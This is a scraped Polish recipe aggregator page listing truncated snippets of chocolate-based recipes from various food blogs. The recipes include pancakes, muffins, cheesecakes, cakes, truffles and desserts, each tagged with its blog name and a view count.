Śniadanie na szare dni - grube naleśniki cynamonowo - kawowe z czekoladą lub dżemem truskawkowym. Nic tak nie nastraja na dobry dzień, jak słodkie śniadanie i duży kubek kawy. Miłego! Składniki 1 szklanka mleka 1 szklanka mąki 1 łyżeczka proszku do pieczenia 1/2 szklanki cukru 2 łyżki oleju 1 jajko 1 łyżeczka cynamonu 1 łyżeczka kawy rozpuszczalnej Dodatkowo słoiczek dżemu(...)tabliczki gorzkiej czekolady Sposób przygotowania Mąkę, cukier, proszek do pieczenia, cynamon i kawę wymieszać razem. Dodać jajko, mleko, olej, mieszać do uzyskania gładkiej masy. Rozgrzać patelnię, nakładać placuszki i smażyć ok 2 min do pojawienia się pęcherzyków, po czym obrócić na drugą stronę i smażyć ok 1 min. Podać z dżemem ulubionym lub przygotować rozpuszczoną czekoladę i polać . Smacznego

pink envelope
Muffinki na Halloween 135

szklanki mąki 1 łyżeczka proszku do pieczenia 2 łyżki kakao 1 łyżeczka cynamonu 3/4 szklanki cukru Składniki mokre 125 g masła 1 szklanka kefiru 2 jajka Dodatkowo 100 g czekolady białej 50 g czekolady gorzkiej Sposób przygotowania Suche składniki wymieszać razem ze sobą. W oddzielnej misce jajka roztrzepać z kefirem. Masło rozpuścić w garnuszku i ostudzone dodać do jajek. Mokre(...)składniki przelać do suchych i wymieszać ciasto kilka razy. Napełniać ok 3/4 wysokości foremek i dać do piekarnika nagrzanego do 180 stopni. Piec ok. 15 - 20 min. Rozpuścić obie czekolady w osobnych naczyniach. Białą wysmarować gotowe muffinki, ciemną nabierać na wykałaczkę i rysować pajęczynę

pink envelope
Czekoladowy sernik 162

masła masa serowa 750g twarogu tłustego dwukrotnie zmielonego 4 jajka 1 opakowanie budyniu czekoladowego 3/4 szklanki cukru 120 ml śmietanki 30%  1 łyżka kakao polewa czekoladowa 100g gorzkiej czekolady 75ml śmietanki 30% Dodatkowo maliny do dekoracji Sposób przygotowania Dno tortownicy wyłożyć papierem do pieczenia, boki wysmarować masłem/margaryną. W rondelku rozpuścić masło. Herbatniki pokruszyć drobno, dodać rozpuszczone masło(...)zmniejszyć temperaturę do 120 stopni i piec przez 70 min. Studzić ciasto w piekarniku przy lekko uchylonych drzwiczkach.  Polewa czekoladowa - do rondelka wlać śmietankę, dodać połamaną czekoladę i cały czas mieszając podgrzewać na małym ogniu. Mieszać do momentu aż czekolada się rozpuści.  Polewę przelać na ostudzone ciasto, udekorować malinami, dać do lodówki na 5 godzin

pink envelope
Keks orzechowy 155

orzechów. Również zapachnie karpiem i przygotowaliśmy dla Was kilka propozycji na smaczne prezenty.  A jak padło na orzechy to przygotowałam prosty keks z ich wykorzystaniem oraz z dodatkiem czekolady. Przepis również znajdziecie na stronach magazynu :) Składniki 5 białek 3/4 szklanki cukru 2 szklanki mąki pszennej 1 łyżeczka proszku do pieczenia 1/2 szklanki oleju 200g łuskanych orzechów włoskich, posiekanych 100g(...)gorzkiej czekolady, połamanej Sposób przygotowania Białka ubić na sztywną pianę. Dodawać w małych ilościach cukier i ubijać przez 8 minut.  W oddzielnej misce przesiać mąkę i wymieszać z proszkiem do pieczenia. Wsypywać porcjami do ubitych białek i powoli połączyć ze sobą. Na sam koniec wlać olej. Orzechy i czekoladę dodać do masy i wymieszać. Papierem do pieczenia wyłożyć keksówkę

pink envelope
Trufle z białej czekolady 153

Trufle już od dłuższego czasu były na mojej liście "do zrobienia". Postawiłam na moje ulubione smaki, czyli połączenie kokosu z białą czekoladą. Wyszły rozpływające się w ustach! Ciężko było robić zdjęcia, kiedy nachylałam się nad truflami i uderzał mnie zapach kokosowy. Automatycznie ręka sięga po jednego:) Gdyby Was zaskoczyło skąd taki kolor - to wynik dodania barwnika spożywczego.  Składniki(...)sztuk) 100g białej czekolady 3 łyżki masła 1/4 szklanki śmietanki 36% 1 wafelek Prince Polo kokosowy Dodatkowo  wiórki kokosowe do obtoczenia czerwony barwnik spożywczy w proszku/żelu Sposób przygotowania Połamaną czekoladę dać do garnuszka, wlać śmietankę i na małym ogniu podgrzewać. Pod sam koniec dodać masło, dobrze wymieszać by wszystkie składniki się połączyły. Wafelek pokruszyć i przełożyć do czekoladowej

pink envelope
Czekoladowo – owsiane jeżyki. 186

Pamiętam jak będąc dzieckiem bawiliśmy się z dziećmi i bliźniaczki przynosiły owsiane , czekoladowe kuleczki ,w woreczkach dla wszystkich. To były najlepsze słodycze ,poza domową czekoladą , jakie pamiętam .Dziś przywołałam tamte wspomnienia w mojej kuchni … Składniki : 15 kuleczek. 1/ 4 kostki masła 2 łyżki ciemnego cukru 10 łyżek śmietanki 18 % 3 łyżki kakao 50 g gorzkiej czekolady ,rozpuścić 1 ,5 szklanki(...)płatków owsianych ,u mnie z dodatkiem suszonych pestek dyni Masło rozpuszczamy z cukrem i śmietanką ,podgrzewamy do momentu rozpuszczenia się cukru ,cały czas mieszając . Dodajemy kakao i czekoladę ,mieszamy ,następnie płatki owsiane i mieszamy wszystko razem .Z masy robimy małe kuleczki i już możemy się częstować .Smacznego

Ladylaura.
Moja pierwsza dyszka! 124

czekoladowe ciasto, nie tak wilgotne jak to , ale za to z przepyszną skorupką na wierzchu. W sam raz na okrągłą okazję! CZEKOLADOWE CIASTO Z BURAKAMI 300g buraków 85g ciemnej czekolady 3 jajka 300g brązowego cukru 200ml oleju 1 łyżka syropu waniliowego 30g kakao 200g mąki 1 1/2 łyżeczki proszku do pieczenia 1/4 łyżeczki soli Buraki myjemy, wkładamy do garnka(...)Obrane buraki trzemy na drobnej tarce albo blendujemy. Piekarnik nagrzewamy do 180*C, okrągłą foremkę natłuszczamy i wysypujemy kaszą manną (wolę ją od bułki tartej, bo jest drobniejsza). Rozpuszczamy czekoladę. My robimy to w metalowej misce na małym ogniu, możecie zrobić to też w mikrofalówce albo jak należy, w kąpieli wodnej. W misce mieszamy jajka, cukier i olej. Stopniowo dodajemy

les mirabelles
Absolutna dynioza 147

DYNIOWO-CZEKOLADOWE CIASTO 350g mąki szczypta soli 1 łyżeczka cynamonu 1 łyżeczka sody 2 jajka 100g cukru 1/2 szklanki oleju ok. 1 szklanka puree z dyni 100g (tabliczka) gorzkiej czekolady Piekarnik nastawiamy do 180*C. Keksówkę natłuszczamy i wysypujemy kaszą manną. Czekoladę kroimy w dość grubą kostkę. W misce mieszamy mąkę, sól, cynamon i sodę. W makutrze ucieramy jajka(...)cukrem i olejem do otrzymania gładkiej masy. Do masy jajkowej dodajemy puree z dyni i mieszamy. Dorzucamy kawałki czekolady i znów mieszamy. Na koniec dodajemy wymieszane suche składniki i dokładnie mieszamy łyżką- masa wydaje się gęsta, ale po dłuższym mieszaniu całą mąkę udaje się wmieszać. Ciasto przekładamy do formy i pieczemy 55 minut do suchego dźgulca. Sama dynia, bez dodatków

les mirabelles
Czekoladowe cake pops 126

bajaderki na patyczkach ;) Nieskomplikowane, dosyć szybkie do zrobienia :) Polecam! Składniki: 400 g suchego ciasta czekoladowego 120 g kremowego serka 50 g nutelli 2-3 łyżki kwaśnego dżemu + 200 g czekolady 1 łyżka oleju kolorowa posypka Serek połączyć z nutellą i dżemem. Odłożyć. Ciasto drobno rozkruszyć, dodać do masy serowej, dokładnie wymieszać. Uformować kulę, zawinąć w folię spożywczą i schłodzić(...)przez około 15 minut. Ciasto wyjąć. Za pomocą łyżki do lodów uformować równe kulki. Ułożyć je na blasze wyłożonej papierem do pieczenia. Schłodzić w zamrażalniku przez następne 15 minut. Czekoladę roztopić w kąpieli wodnej, dodać 1 łyżkę oleju, połączyć. Przygotować patyczki. Końcówki patyczków zanurzać w czekoladzie i natychmiast wetknąć w środek kulki. Od razu udekorować. Ponownie ułożyć na blasze. Schłodzić

Domowa cukiernia Ewy
Ciasto czekoladowe z mlekiem skondensowanym 343

wilgotne, słodkie, ale nie przesłodzone ;) Chrupiący wierzch i gęsty, aromatyczny środek. Robi się je ekspresowo, zjada jeszcze szybciej. Czekoladoholicy będą w siódmym niebie :D Polecam! Składniki: 100 g gorzkiej czekolady 125 g masła 4 łyżki kakao 1/3 szklanki rumu 1/3 szklanki mleka 2 duże jajka 250 g mąki pszennej szczypta soli 75 g cukru pudru 125 ml słodzonego mleka skondensowanego(...)Czekoladę roztopić w kąpieli wodnej, dodać masło i dokładnie wymieszać. Mąkę połączyć z kakao, solą i cukrem pudrem. Jajka roztrzepać, dodać rum i mleko oraz płynną czekoladę, wymieszać. Suche składniki dokładnie połączyć z mokrymi. Tortownicę o średnicy 21 cm natłuścić i oprószyć tartą bułką. Wylać połowę czekoladowego ciasta. Na nim rozprowadzić połowę słodzonego mleka skondensowanego, przykryć resztą ciasta. Wierzch posmarować

Domowa cukiernia Ewy
31. Bajaderka KASI 141

cukru 2 jajka 2 1/2 szklanki mąki 1 łyżeczka proszku do pieczenia masa: 1 szklanka mleka 2  szklanki bakalii 5 łyżek kakao 400 g marmolady polewa: 1 gorzka czekolada, 1/2 szklanki kremówki Wszystkie składniki na ciasto szybko i dokładnie wyrobić a następnie podzielić na dwie części 3/5 i 2/5. Ciastem  wylepić foremki do pieczenia i upiec(...)minut na złoty kolor w 170 stopniach. Następnie ostudzony, grubszy placek pokruszyć. Czekoladę rozpuścić powoli w kąpieli wodnej. Wszystkie składniki masy dokładnie wymieszać i wyłożyć na ciasto, mocno dociskając.  Czekoladę połamać i powoli podgrzewać ze śmietanką do całkowitego rozpuszczenia i lekkiego zgęstnienia. Gotową masę wylać na ciasto. Wstawić do lodówki na 2-3 godziny aż ciasto się "zawiąże

Jadło i czytadło
74. Mini torcik z chałwą 121

efekt smakowy. Polecam eksperymetny z tymi dwoma produktami. A oto jeden z moich. Ciemny biszkopt 400 g kremówki 30% 2 śmietan fixy 3 opakowania chałwy (dowolny ulubiony smak) 1 czekolada gorzka 2 łyżki cukru pudru. Potrzebne będą takie specjalne obręcze o średnicy ok 7 cm i wysokośći ok 8 cm. Ja wyciełam je ze zwykłych butelek po wodzie mineralnej(...)należy lekko zwilżyć (np. wodą z cytryną).  Kremówkę ubijam z cukrem pudrem i śmietan- fixem i nakładam na biszkopty, następnie krusze chałwę i posypuję nią warstwę z kremówką. Czekoladę rozpuszczam w kąpieli wodnej z kilkoma łyżkami wody lub mleka. Mini torciki polewam czekoladą i odstawiam do lodówki. Gdy masa się stęgnie, możemy zdjąć obręcze

Jadło i czytadło
Ciasto Marysieńka z kremówką 323

mąki ziemniaczanej 1 łyżka maki pszennej 1 łyżeczka proszku do pieczenia Krem śmietanowy 2 kubki kremówki po 330 ml. 2 łyżki cukru pudru 4 łyżeczki żelatyny 1 tabliczka gorzkiej czekolady (polewa) Biszkopt: Białka oddzielamy od żółtek i ubijamy ze szczyptą soli na sztywną pianę. Dodajemy stopniowo cukier, po jednym żółtku, a na końcu mąkę wymieszaną wraz z proszkiem i kakao(...)wylewamy na pierwszy   biszkopt, ten przykrywamy ciastem orzechowym na to drugą połowę kremówki (ubitej w ten sam sposób co pierwsza) i drugi biszkopt. Wierzch ciasta smarujemy czekoladą rozpuszczoną w kąpieli wodnej (na parze) wraz z łyżeczką masła. Można jeszcze zetrzeć odrobine czekolady. Niestety z ciasta orzechowe zostanie nam 5 żółtek, następnym razem spróbuję zrobić ciasto orzechowe

Jadło i czytadło
Szybki deser walentynkowy 167

udanego deserku. Powodzenia.       Na dwie porcje Truskawki mrożone (w sezonie świeże) ilość zależy od Was pokruszone 2 duże bezy śmietana kremówka 100 ml 1/3 tabliczki gorzkiej czekolady cukier puder   Truskawki należy rozmrozić, zmiksować na gładki mus i z dodatkiem cukru podgrzewać do lekkiego zgęstnienia sosu. Kremówkę ubić z cukrem pudrem. Czekoladę można zetrzeć prosto na deser(...)większy od pucharka w którym będziemy podawać deser, następnie wstawić na 5 minut do zamrażalnika. Gorący mus truskawkowy wylać do pucharków na to bezy i kremówka a na końcu czekolada

Jadło i czytadło
Muffinki czekoladowo-orzechowe z kremem 155

Uwielbiam orzechy i czekoladę, dlatego dodałam je do muffinek. Górę pokryłam kremem budyniowym. Pyszne! 2 szklanki mąki 0,5 szklanki cukru 1 łyżeczka soli Odrobina sody 1 łyżeczka proszku do pieczenia 2 jajka 1 szklanka mleka 0,5 szklanki oleju 50 g orzechów włoskich 50 g czekolady mlecznej Masa budyniowa: 1 opakowanie budyniu waniliowego 40g 5 łyżek cukru(...)dokładnie mieszamy suche składniki- mąkę, cukier, sól, sodę i proszek do pieczenia. W drugiej mieszamy mokre składniki- mleko, olej, jajka. Wszystko  łączymy ze sobą i mieszamy drewnianą łyżką. Czekoladę i orzechy rozdrabniamy blenderem i dosypujemy do ciasta. Muffinki przekładamy do silikonowej foremki i pieczemy 20 minut w 180*C. Po wyjęciu i ostudzeniu dekorujemy kremem budyniowym i kolorową posypką

VioletoweKucharzenie
Różowy deser z kawałeczkami czekolady 184

discover" Może nie jestem fanką różu tak jak wokalista, ale ten deser na pewno przypadł mi do gustu. Czyż nie wygląda pięknie? Składniki: 1 banan 3 kostki białej czekolady (większe) 2 szt. jogurtu typu Gratka (115 g) opcjonalnie wafelek śmietankowy Przygotowanie: Banana i jogurt blendujemy razem. Dodajemy połamaną na mniejsze kawałki czekoladę. Blendujemy jeszcze chwilę, tak aby kawałeczki czekolady

Słodkie okruszki
Naleśniki w winnym sosie z mandarynek i mango pod serkiem z sosem czekoladowo - migdałowym. 172

mieszamy intensywnie podlewając wodą gazowaną. Dodajemy tyle wody, by ciasto było spójne i lejące. Zapytacie jak lejące, też zapytałem i odpowiedź "ono jest tak lejące jak lejąca jest roztopiona czekolada". Może Wam to pomoże, mi na szczęście naleśniki będzie dalej robić Żona Ma. Sos owocowy: -połowa mango posiekana -kilka cząstek mandarynek z syropu -wino białe półwytrawne 1/2 szklanki -łyżka soku(...)zalewamy winem. Gdy alkohol odparuje dodajemy cukier i sok z cytryny. Podsmażamy do zgęstnienia. Do naleśników dodajemy gorący sos. Sos czekoladowo - migdałowy: -garść migdałów zmiażdżonych w moździerzu -pasek czekolady gorzkiej -łyżka masła Topimy masło z czekoladą, wrzucamy orzechy, mieszamy intensywnie. Możemy dodać mleka, by uzyskać rzadszą konsystencje. Dodatkowo będą potrzebne: -łyżka naturalnego serka homogenizowanego -listki mięty cytrynowej -pokrojone w plastry

BaRepas
KASZA QUINOA Z KOKOSEM, CZEKOLADĄ I GRANATEM - ZDROWE ŚNIADANIE 181

zbyt różowo? Lepiej tak niż myśleć tylko odcieniami szarości. Nie, nie jestem zakochana ;) Po prostu odpowiednio czekoladowe śniadanie jest lekiem na całe zło codzienności!  KASZA QUINOA Z KOKOSEM, CZEKOLADĄ I GRANATEM /własny;/ dla 1 osoby  1/2 szklanki kaszy quinoa (u mnie czarnej) 1 szklanka chudego mleka 1 łyżka masła klarowanego 2 łyżki wiórków kokosowych 1 pełna łyżka(...)startej gorzkiej czekolady szczypta soli 1/4 łyżeczki gałki muszkatołowej ziarna granatu W rondelku rozgrzewam masło. Kaszę płuczę na gęstym sicie dwukrotnie, po czym wrzucam na tłuszcz i przesmażam 2-3 minutki. Wlewam mleko i od momentu zawrzenia, gotuję około 20-25 minut, aż kasza wchłonie cały płyn. Gotuję na małym ogniu pilnując, aby mleko nie wykipiało. W połowie gotowania dodaję

W kuchni Karmel-itki
American cookies, czyli ciasteczka z czekoladą dla potwora ciasteczkowego. 151

żeńska właśnie dopadła poniższe słodkości. A niech Ci w biodra Kochanie nie pójdzie ;-) Robiłem dziś tartę i pierwszy raz zostało mi trochę ciasta po niej. Poniżej ciasteczka z czekoladą, które szybko skleciłem właśnie z nadmiaru ciasta.   Czego użyłem? Do ciasta: -300 gram mąki TYP550 -200 gram zimnego masła -100 gram cukru -dwa żołka -gorzka czekolada Wszystkie składniki zagniatamy około(...)minut do uzyskania zwartej kuli, którą wkładamy do zamrażalnika na 15 minut. Formujemy ciastka, układamy w nich kilka kawałków czekolady i pieczemy na papierze do pieczenia w temperaturze 180 stopni około 18 minut. Smacznego

BaRepas
Babka piaskowa ucierana 111

Babka piaskowa, to bardzo łatwe i szybkie ciasto. Odpowiednio udekorowana może stanowić miły poczęstunek na każda okazję. Osobiście najbardziej lubię ją ze szklanką ciepłej czekolady lub mocnego kakao, polecam. Składniki: 150 g mąki pszennej wrocławskiej 100 g mąki ziemniaczanej 200 g masła 150 g cukru  4 jajka 1 łyżka kwasnej gęstej śmietany 2 łyżeczki proszku do pieczenia 1 cukier(...)waniliowy 150 ml cukru  2 łyzeczki proszu do pieczenia Dodatkowo: 100 g czekolady mlecznej 2 łyżki mleka truskawki płatki migdałów  listki mięty Sposób przygotowania:  Miękkie masło utrzeć z cukrem i cukrem waniliowym na puszystą masę. Dodać stopniowo żółtka oddzielone od białek i śmietanę. Białka ubić na szywną pianę ze szczyptą soli i dodać do całości. Na końcu

Gosia gotuje
Muffinki z mirindą 135

Przy niedzieli proponuję pyszne mufiny do przygotowania w nieco ponad 30 minut z doskonałym efektem końcowym. Jako mokrego składnika użyłam mirindy. Uwielbiam połączenie pomarańczy i gorzkiej czekolady, ale jeśli wolicie np. colę czy pepsi, to śmiało możecie użyć tych produktów zamiennie...polecam. Składniki: 200g mąki pszennej wrocławskiej  2 łyżeczki proszku do pieczenia  3/4 szklanki cukru 100 ml oleju(...)rzepakowego 120 ml mirindy 2 jajka 50 g gorzkiej czekolady cukier puder do posypania Sposób przygotowania: Do miski wbić jajka i roztrzepać je widelcem, Dolać mirindę i olej. Dosypać mąkę z cukrem i proszkiem do pieczenia oraz startą na tarce czekoladę. Za pomocą łyżki połączyć w całość. Blaszkę do pieczenia mufinek wyłożyć papilotkami i napełnić je do 3/4 wysokości. Piekarnik

Gosia gotuje
Babeczki czekoladowo-piernikowe z bitą śmietaną i truskawkamki 124

babeczki, które robiłam w Sylwestra. Karnawał w pełni, a takie małe słodkości idealnie pasuja na karnawałowe przyjęcia z przyjaciólmi. To zresztą moje ulubione połączenie...truskawki, maliny, śmietana i czekolada, tworzą kompletna całość, Składniki na ciasto: 2 jajka 1/2 szklanki mleka 3/4 szklanki cukru 1 szklanka mąki 1 łyżka masła 1 łyżeczka przyprawy do piernika 2 łyzeczki czekolady w proszku(...)laski wanilii, dokładnie wymieszać i odstwić. Jajka ubić z cukrem. Do ubitych jajek wolnym strumieniem wlewać mleko ciągle mieszając. Na samym końcu dodać  przesianą mąkę z proszkiem i czekoladę w proszku. Jeszcze raz wymieszać. Formę do mufinek wyłożyć papilotkammi i wlać ciasto do 2/3 wysokości. Piec w piekarniku z termoobiegiem nastawionym na  170 stopni C przez około15 minut

Gosia gotuje
Tarta orzechowa 200

śmietanki 30%  3/4 szklanki cukru  1/3 szklanki mąki  3 jajka 150 g orzechów włoskich, laskowych i pekan Dekoracja: 100 g orzechów włoskich 100 g gorzkiej czekolady Sposób przygotowania: Z podanych w przepisie składników zagnieść ciasto, owinąć folia spożywczą i odłożyć do lodówki na minimum 1 godzinę. Po tym czasie ciasto rozwałkować lekko podsypujac maką(...)ciagle miksując. Przygotowaną masę wylać na schłodzone ciasto. Wstawić do piekarnika z termoobiegiem nastawionym na  180ºC i piec przez 35-40 minut. Ciasto wyjąć z piekarnika i wystudzić. Czekoladę rozpuścić w kąpieli wodnej i płynną polać tartę. Na wierzchu grubą warstwą ułożyć orzechy. Odstawić do lodówki, aby czekolada zastygła i mozna podawać. Smacznego

Gosia gotuje
Profiterolki z ajerkoniakiem 138

szklanka mąki pszennej 5 jajek  szczypta soli Składniki na krem: 1 szklanka ajerkoniaku 1 szklanka smietanki 36% 4 łyżeczki żelatyny 2 łyżki cukru pudru Polewa: 100 g gorzkiej czekolady 2 łyżki śmietanki kremówki cukier puder Sposób przygotowania: W garnku zagotować wodę z masłem i solą, wsypać mąkę i energicznie mieszając, połączyć w całość. Gotowe ciasto jest błyszczące i łatwo(...)pomoca miksera i odstawić do lodówki na 10 minut. Po tym czasie masę przełożyć do szprycy z długą końcówka ( taką do napełniania pączków) i wcisnąć krem w każdą kuleczkę. Czekoladę roztopić w kąpieli wodnej, dodać śmietankę  i za pomocą łyżeczki lub szprycy udekorować nasze malestwa. Gdty czekolada zacznie juz zastygać, posypać cukrem pudrem i podawać. Smacznego

Gosia gotuje
Czekoladowe ciasto z jabłkami! 253

Najlepsze ucierane ciasto z czekoladą, Nutellą i jabłkami. Pyszne, słodkie i kaloryczne ;-) Składniki: - 450 g mąki pszennej - 250 g masła - 150 g Nutelli - 150 g cukru pudru - 6 jajek - 50 g kakao - 100 g czekolady gorzkiej - 3 łyżeczki proszku do pieczenia - 4 jabłka pokrojone na cienkie plasterki Masło o temp. pokojowej ucieramy na biały puch, dodajemy cukier puder, Nutellę, partiami(...)ucieramy, dodajemy po żółtku, na przemian z przesianą przez sito mąką + proszek do pieczenia. Dodajemy kakao.  Pianę z białek ubijamy na sztywno. Mieszamy razem z masą. Dodajemy posiekaną czekoladę. Masę wylewamy do formy, układamy cieniutkie plasterki z jabłek. Pieczemy godzinę w nagrzanym piecu

SMYKWKUCHNI
Łosiowe pancakes 113

łyżeczka proszku do pieczenia 1 rozgnieciony banan 2 łyżki jogurtu naturalnego szczypta cynamonu   Dodatkowo :  jogurt naturalny czerwone M&M's na noski 2 kostki gorzkiej czekolady roztopionej Wszystkie składniki dokładnie mieszamy za pomocą łyżki. Na rozgrzaną patelnię nakładamy dwa placki - jeden większy, a drugi mniejszy, oraz po łyżeczce ciasta formując uszka. Smażymy na złotobrązowy kolor z każdej(...)strony. Na talerzu układamy najpierw duży placek, następnie mniejszy, po bokach układamy uszka. Oczka wykonujemy z nakładając małą ilość jogurtu naturalnego, a źrenice nabierając na wykałaczkę kropelkę roztopionej czekolady. Nosek układamy na małym placuszku. Rogi rysujemy roztopiona czekoladą. Smacznego

Chocolate Muffin Blog
Sernik z musem malinowym na spodzie pierniczkowym 137

obawiałam się samego sernika, a okazało się, że jest to najprostsze ciasto na świecie (może po za murzynkiem :)). Ciasto jest zwieńczone pysznym musem malinowym i udekorowane serduszkami z białej czekolady. Całość cudownie się komponuje i uzupełnia. Wypróbujcie koniecznie! :) Spód: 200 g pierniczków w czekoladzie z nadzieniem śliwkowym 100 g herbatników maślanych 50 g masła, roztopionego Składniki wrzucamy do misy miksera(...)lodówki. Śmietanę ubijamy na sztywno. Dodajemy partiami do musu malinowego i bardzo delikatnie mieszamy. Wykładamy na wystudzony sernik i wyrównujemy. Schładzamy w lodówce, najlepiej całą noc. Z roztopionej białej czekolady formujemy serduszka i schładzamy chwilkę :) Smacznego! Przepis z małymi modyfikacjami ze strony Moje Wypieki

Chocolate Muffin Blog
Ciasto Fale Dunaju 323

łyżeczki proszku do pieczenia 2 łyżki kakao do ciasta 1 kg jabłek krem 1 budyń waniliowy 3/4 kostki masła  2 łyżki cukru pudru żółtko Polewa: odrobina mleka gorzka czekolada WYKONANIE Jabłka obieramy i kroimy w plastry.  Margarynę ucieramy z cukrem  i dodajemy po jednym  żółtku. Ucieramy na jednolitą masę. Dodajemy mąkę z proszkiem do pieczenia cały(...)stopni ok. 1 godz. W czasie gdy ciasto się piecze przygotowujemy krem. Gotujemy 2 budynie, studzimy. Ucieramy masło z cukrem, żółtkiem i cukrem pudrem. Dodajemy powoli schłodzony budyń. Czekoladę rozpuszczamy w odrobinie mleka. Tak żeby była płynna ale niezbyt rzadka. Na upieczone, ostudzone ciasto wykładamy krem budyniowy i polewamy czekoladą.  Po wierzchu można posypać orzechami włoskimi. Ciasto pozostawiamy

W kuchennym oknie Ewy
Czekoladowo-malinowy relax 137

czekoladowo-malinowy relax. ... szybkie zdjęcie i mogę się delektować wspaniałym, ciepłym czekoladowo-malinowym budyniem... Składniki: 1/2 szklanki mrożonych malin 2 łyżki dobrego kakao 5-6 kostek gorzkiej lub mlecznej czekolady (można dodać więcej) 600 ml mleka 1 żółtko (białko zamroźcie do wykorzystania przy innych przepisach) 2 łyżki mąki ziemniaczanej 1 łyżka mąki pszennej 1 1/2 łyżeczki masła(...)łyżki cukru (można pominąć, zależy od tego jak słodki budyń chcemy mieć i jaką czekoladę i kakao użyjemy) wiórki kokosowe do posypania Przygotowanie: Odlewamy około 3/4 szklanki mleka, mieszamy z mąką ziemniaczaną i pszenną oraz żółtkiem. Pozostałe mleko z cukrem i masłem gotujemy w garnku z grubym dnem. Do gotującego się mleka wsypujemy startą na tarce (lub drobniutko pokrojoną) czekoladę

Słodkie okruszki
Tort kokosowy 338

cukru do wypieków lub zwykłego cukru ¼ szklanki mąki ziemniaczanej ¾ szklanki mąki pszennej Krem kokosowy: 2 puszki mleczka kokosowego (po 400g) 350g serka mascarpone 300ml śmietany kremówki 30% 200g białej czekolady (2 tabliczki) 100g wiórków kokosowych Wykończenie tortu Herbata z łyżeczką aromatu migdałowego (szklanka) 100g płatków migdałów 50g wiórków kokosowych Dzień wcześniej: Mleczko kokosowe należy schłodzić w lodówce. Następnie wyciągamy(...)dnie powinna zostać woda kokosowa, ona nam nie będzie potrzebna. Do garnuszka dodajemy śmietanę kremówkę, a całość ustawiamy na gazie. Podgrzewamy do wrzenia i zdejmujemy z gazu. Wrzucamy połamaną czekoladę i na chwilkę odstawiamy na bok. Następnie mieszamy całość i pozostawiamy do ostygnięcia. Przykrywamy folią spożywczą i wstawiamy na noc do lodówki Możemy również upiec biszkopt albo zostawić

Kolizje Smaków
Blueberry muffin — muffin z jagodami 163

Muffiny z jagodami należą do moich ulubionych. Smakują mi chyba bardziej niż czekoladowe z czekoladą. Ciasto robię lekko waniliowe. Jeśli nie wyobrażacie sobie muffinów bez czekolady polecam dodać do tych białej czekolady, która cudownie się komponuje smakowo jak i wizualnie z jagodami. Nowy post Blueberry muffin — muffin z jagodami pojawił się w Wypieki i Rumieńce

Wypieki i Rumieńce
Sernik kokosowo-czekoladowy z jagodami / 3 urodziny bloga 146

podziękowaniu mam dla Was przepis na pyszny sernik kokosowo-czekoladowy z jagodami. Częstujcie się <3 700 g zmielonego twarogu 2 łyżki syropu z agawy 100 g gorzkiej czekolady 70% 2 łyżki nierafinowanego oleju kokosowego łyżka mąki kokosowej 3 jajka puszka schłodzonego mleczka kokosowego łyżka cukru pudru 3 łyżki rozmrożonych jagód Czekoladę wraz z olejem kokosowym roztapiamy w kąpieli wodnej(...)odstawiamy do przestudzenia. Twaróg miksujemy z syropem z agawy, mąką i jajkami. Dodajemy roztopiona czekoladę i dokładnie łączymy składniki. Masę przelewamy do formy o średnicy około 21 cm. Pieczemy 50 minut w 180 stopniach. Studzimy w piekarniku przy uchylonych drzwiczkach. Schłodzone mleczko kokosowe chwilę miksujemy aby nie było grudek. Dodajemy cukier puder oraz zmiksowane na gładko jagody. Miksujemy 5 minut

Mienta blog
Tort Rafaello z truskawkami 594

szklanki mąki ziemniaczanej 1 szklanka cukru Masa Raffaello: 1 puszka mleka kokosowego (400 ml) 75 g wiórków kokosowych 0,5 szklanki cukru pudru 750 g serka mascarpone 2 czekolady po 100 g 4 łyżki likieru kokosowego Frużelina owocowa (frużelinę możemy zrobić z innych owoców: jagód, brzoskwiń, malin): 20 świeżych truskawek  1 łyżka soku z cytryny trochę startej skórki(...)niego dodajemy wiórki kokosowe i tak gotujemy 30 minut od czasu do czasu mieszając. Gdy wiórki wchłoną całe mleko dodajemy likier kokosowy. Odstawiamy z ognia i dodajemy połamaną białą czekoladę. Mieszamy w celu rozpuszczenia czekolady i schładzamy w lodówce. Serek mascarpone  miksujemy z cukrem pudrem, dodajemy zimną masę kokosową. Jeszcze raz wstawiamy do lodówki. 15 truskawek , sok i skórkę

Salonik smaków
Chrupiący deser 1928

zbyt kaloryczne. Chrupiący deser, to szybki, chrupiący pucharek dla każdego. Składniki: 1 mały gęsty jogurt naturalny 1 naturalny serek homogenizowany 0% garść płatków kukurydzianych 4-5 kostek gorzkiej czekolady (ilość kostek zależy od naszych indywidualnych upodobań) Przygotowanie: Na dno pucharka kładziemy połowę jogurtu naturalnego, na wierzch sypiemy płatki kukurydziane i resztę jogurtu. Górę deseru stanowi czekoladowy serek homogenizowany(...)zrobić wystarczy rozpuścić w kąpieli wodnej kilka kostek gorzkiej czekolady. Gdy czekolada przestygnie delikatnie łączymy ją (łyżka po łyżce) z naszym serkiem homogenizowanym. Smacznego

Słodkie okruszki
Pączki 133

próba, a już oficjalne wykonanie pączków. Jestem bardzo zadowolona, gdyż udało mi się usmażyć tak pączki, że pojawiła się obrączka. Pączki wykonałam w dwóch smakach, jedne z budyniem, polane czekoladą, a inne z marmoladą, oblane lukrem. Przepis, który znalazłam na szczęście nie jest wymagający i na prawdę daje możliwość upieczenia pysznych pączków. Wszyscy zgodnie w domu stwierdziliśmy, że lepszych(...)żółtk0 - 50 g masła, roztopionego Dodatkowo: marmolada, krem budyniowy, – lukier (1,5 łyżki gorącej wody wymieszać z pół szklanki cukru pudru) – polewa czekoladowa (u mnie roztopiona mleczna czekolada) rozczyn: Łyżka mąki, łyżeczka cukru, pokruszone świeże drożdże, zalać letnim mlekiem do przykrycia drożdży, wymieszać, poczekać aż rozczyn podwoi objętość. Wykonanie: Mąkę pszenną przesiać, wymieszać z suchymi drożdżami (ze świeżymi

dom-agi.pl
Muffinka kurczaczek 111

